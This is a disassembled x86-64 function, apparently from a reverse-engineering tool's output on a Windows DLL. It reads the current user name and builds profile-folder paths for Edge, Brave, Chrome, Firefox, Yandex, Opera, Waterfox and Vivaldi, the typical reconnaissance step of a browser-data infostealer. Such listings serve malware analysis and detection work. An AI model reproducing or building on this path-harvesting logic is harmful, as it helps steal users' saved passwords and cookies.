Function at 0x180002810
Capabilities:
Get session user name

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x18002f020]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x31
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x1800030c7
mov rax, qword [0x180030fc0]
mov qword [rsp + 0xe8], rbp
lea rbp, [0x180030fa8]
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xc0], r15
xor r15d, r15d
mov qword [rsp + 0xe0], rbx
cmp rax, 0xd
jb 0x1800028b4
cmp rax, 8
mov qword [0x180030fb8], 0xd
mov rbx, rbp
lea r8d, [r15 + 0x1a]
cmovae rbx, qword [0x180030fa8]
lea rdx, str.__C:Users_
mov rcx, rbx
call fcn.18000d360
mov word [rbx + 0x1a], r15w
jmp 0x1800028c8
lea r9, str.__C:Users_
mov edx, 0xd
mov rcx, rbp
call fcn.180006ad0
mov rsi, 0xffffffffffffffff
lea rax, [rsp + 0x40]
mov rdx, rsi
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], r15w
jne 0x1800028e0
mov r8, qword [0x180030fc0]
mov rcx, qword [0x180030fb8]
mov rax, r8
sub rax, rcx
mov qword [rsp + 0xd0], rdi
cmp rdx, rax
ja 0x18000293e
lea rdi, [rcx + rdx]
cmp r8, 8
lea r8, [rdx + rdx]
mov qword [0x180030fb8], rdi
mov rbx, rbp
lea rdx, [rsp + 0x40]
cmovae rbx, qword [0x180030fa8]
lea rcx, [rbx + rcx*2]
call fcn.18000d360
mov word [rbx + rdi*2], r15w
jmp 0x180002950
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov rcx, rbp
call fcn.180006900
mov r8, qword [0x180030fc0]
mov rdx, qword [0x180030fb8]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x180002996
cmp r8, 8
lea rcx, [rdx + 1]
mov qword [0x180030fb8], rcx
mov rax, rbp
cmovae rax, qword [0x180030fa8]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r15w
jmp 0x1800029b3
lea r9, [0x18002ac14]
mov qword [rsp + 0x20], 1
mov edx, 1
mov rcx, rbp
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x1800029d0
mov rax, qword [0x18002fa28]
mov qword [rsp + 0xc8], r14
lea r14, [0x18002fa10]
cmp rdx, rax
ja 0x180002a24
lea rbx, [rdx + rdx]
mov qword [0x18002fa20], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fa10]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002a2c
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fa28]
mov rcx, qword [0x18002fa20]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x180002a7a
cmp rdx, 8
lea rbx, [rcx + 0x26]
mov r8d, 0x4c
mov qword [0x18002fa20], rbx
cmovae r14, qword [0x18002fa10]
lea rdx, str.AppDataLocalMicrosoftEdgeUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002a97
lea r9, str.AppDataLocalMicrosoftEdgeUser_Data
mov qword [rsp + 0x20], 0x26
mov edx, 0x26
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
nop dword [rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002ab0
mov rax, qword [0x18002fa48]
lea r14, [0x18002fa30]
cmp rdx, rax
ja 0x180002afc
lea rbx, [rdx + rdx]
mov qword [0x18002fa40], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fa30]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002b04
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fa48]
mov rcx, qword [0x18002fa40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x33
jb 0x180002b52
cmp rdx, 8
lea rbx, [rcx + 0x33]
mov r8d, 0x66
mov qword [0x18002fa40], rbx
cmovae r14, qword [0x18002fa30]
lea rdx, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002b6f
lea r9, str.AppDataLocalBraveSoftwareBrave_BrowserUser_Data
mov qword [rsp + 0x20], 0x33
mov edx, 0x33
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002b85
mov rax, qword [0x18002fa68]
lea r14, [0x18002fa50]
cmp rdx, rax
ja 0x180002bd1
lea rbx, [rdx + rdx]
mov qword [0x18002fa60], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fa50]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002bd9
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fa68]
mov rcx, qword [0x18002fa60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x25
jb 0x180002c27
cmp rdx, 8
lea rbx, [rcx + 0x25]
mov r8d, 0x4a
mov qword [0x18002fa60], rbx
cmovae r14, qword [0x18002fa50]
lea rdx, str.AppDataLocalGoogleChromeUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002c44
lea r9, str.AppDataLocalGoogleChromeUser_Data
mov qword [rsp + 0x20], 0x25
mov edx, 0x25
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002c60
mov rax, qword [0x18002fa88]
lea r14, [0x18002fa70]
cmp rdx, rax
ja 0x180002cac
lea rbx, [rdx + rdx]
mov qword [0x18002fa80], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fa70]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002cb4
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fa88]
mov rcx, qword [0x18002fa80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x28
jb 0x180002d02
cmp rdx, 8
lea rbx, [rcx + 0x28]
mov r8d, 0x50
mov qword [0x18002fa80], rbx
cmovae r14, qword [0x18002fa70]
lea rdx, str.AppDataRoamingMozillaFirefoxProfiles
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002d1f
lea r9, str.AppDataRoamingMozillaFirefoxProfiles
mov qword [rsp + 0x20], 0x28
mov edx, 0x28
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002d35
mov rax, qword [0x18002faa8]
lea r14, [0x18002fa90]
cmp rdx, rax
ja 0x180002d81
lea rbx, [rdx + rdx]
mov qword [0x18002faa0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fa90]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002d89
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002faa8]
mov rcx, qword [0x18002faa0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2c
jb 0x180002dd7
cmp rdx, 8
lea rbx, [rcx + 0x2c]
mov r8d, 0x58
mov qword [0x18002faa0], rbx
cmovae r14, qword [0x18002fa90]
lea rdx, str.AppDataLocalYandexYandexBrowserUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002df4
lea r9, str.AppDataLocalYandexYandexBrowserUser_Data
mov qword [rsp + 0x20], 0x2c
mov edx, 0x2c
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
nop word [rax + rax]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002e10
mov rax, qword [0x18002fac8]
lea r14, [0x18002fab0]
cmp rdx, rax
ja 0x180002e5c
lea rbx, [rdx + rdx]
mov qword [0x18002fac0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fab0]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002e64
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fac8]
mov rcx, qword [0x18002fac0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2b
jb 0x180002eb2
cmp rdx, 8
lea rbx, [rcx + 0x2b]
mov r8d, 0x56
mov qword [0x18002fac0], rbx
cmovae r14, qword [0x18002fab0]
lea rdx, str.AppDataRoamingOpera_SoftwareOpera_Stable
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002ecf
lea r9, str.AppDataRoamingOpera_SoftwareOpera_Stable
mov qword [rsp + 0x20], 0x2b
mov edx, 0x2b
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
mov r9, rbp
mov rdx, rsi
cmovae r9, qword [0x180030fa8]
inc rdx
cmp word [r9 + rdx*2], r15w
jne 0x180002ee5
mov rax, qword [0x18002fae8]
lea r14, [0x18002fad0]
cmp rdx, rax
ja 0x180002f31
lea rbx, [rdx + rdx]
mov qword [0x18002fae0], rdx
cmp rax, 8
mov rdi, r14
mov r8, rbx
mov rdx, r9
cmovae rdi, qword [0x18002fad0]
mov rcx, rdi
call fcn.18000d360
mov word [rbx + rdi], r15w
jmp 0x180002f39
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fae8]
mov rcx, qword [0x18002fae0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x21
jb 0x180002f87
cmp rdx, 8
lea rbx, [rcx + 0x21]
mov r8d, 0x42
mov qword [0x18002fae0], rbx
cmovae r14, qword [0x18002fad0]
lea rdx, str.AppDataRoamingWaterfoxProfiles
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180002fa4
lea r9, str.AppDataRoamingWaterfoxProfiles
mov qword [rsp + 0x20], 0x21
mov edx, 0x21
mov rcx, r14
call fcn.180006900
cmp qword [0x180030fc0], 8
cmovae rbp, qword [0x180030fa8]
inc rsi
cmp word [rbp + rsi*2], r15w
jne 0x180002fb4
mov rax, qword [0x18002fb08]
lea r14, [0x18002faf0]
cmp rsi, rax
ja 0x180003001
cmp rax, 8
mov qword [0x18002fb00], rsi
mov rdi, r14
lea rbx, [rsi + rsi]
cmovae rdi, qword [0x18002faf0]
mov r8, rbx
mov rcx, rdi
mov rdx, rbp
call fcn.18000d360
mov word [rdi + rbx], r15w
jmp 0x18000300f
mov r9, rbp
mov rdx, rsi
mov rcx, r14
call fcn.180006ad0
mov rdx, qword [0x18002fb08]
mov rcx, qword [0x18002fb00]
mov rax, rdx
mov rdi, qword [rsp + 0xd0]
sub rax, rcx
mov rsi, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0xe8]
cmp rax, 0x1f
jb 0x180003075
cmp rdx, 8
lea rbx, [rcx + 0x1f]
mov r8d, 0x3e
mov qword [0x18002fb00], rbx
cmovae r14, qword [0x18002faf0]
lea rdx, str.AppDataLocalVivaldiUser_Data
lea rcx, [r14 + rcx*2]
call fcn.18000d360
mov word [r14 + rbx*2], r15w
jmp 0x180003092
lea r9, str.AppDataLocalVivaldiUser_Data
mov qword [rsp + 0x20], 0x1f
mov edx, 0x1f
mov rcx, r14
call fcn.180006900
mov r15, qword [rsp + 0xc0]
mov eax, 1
mov r14, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18000b1c0
add rsp, 0xd8
ret
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18000b1c0
add rsp, 0xd8
ret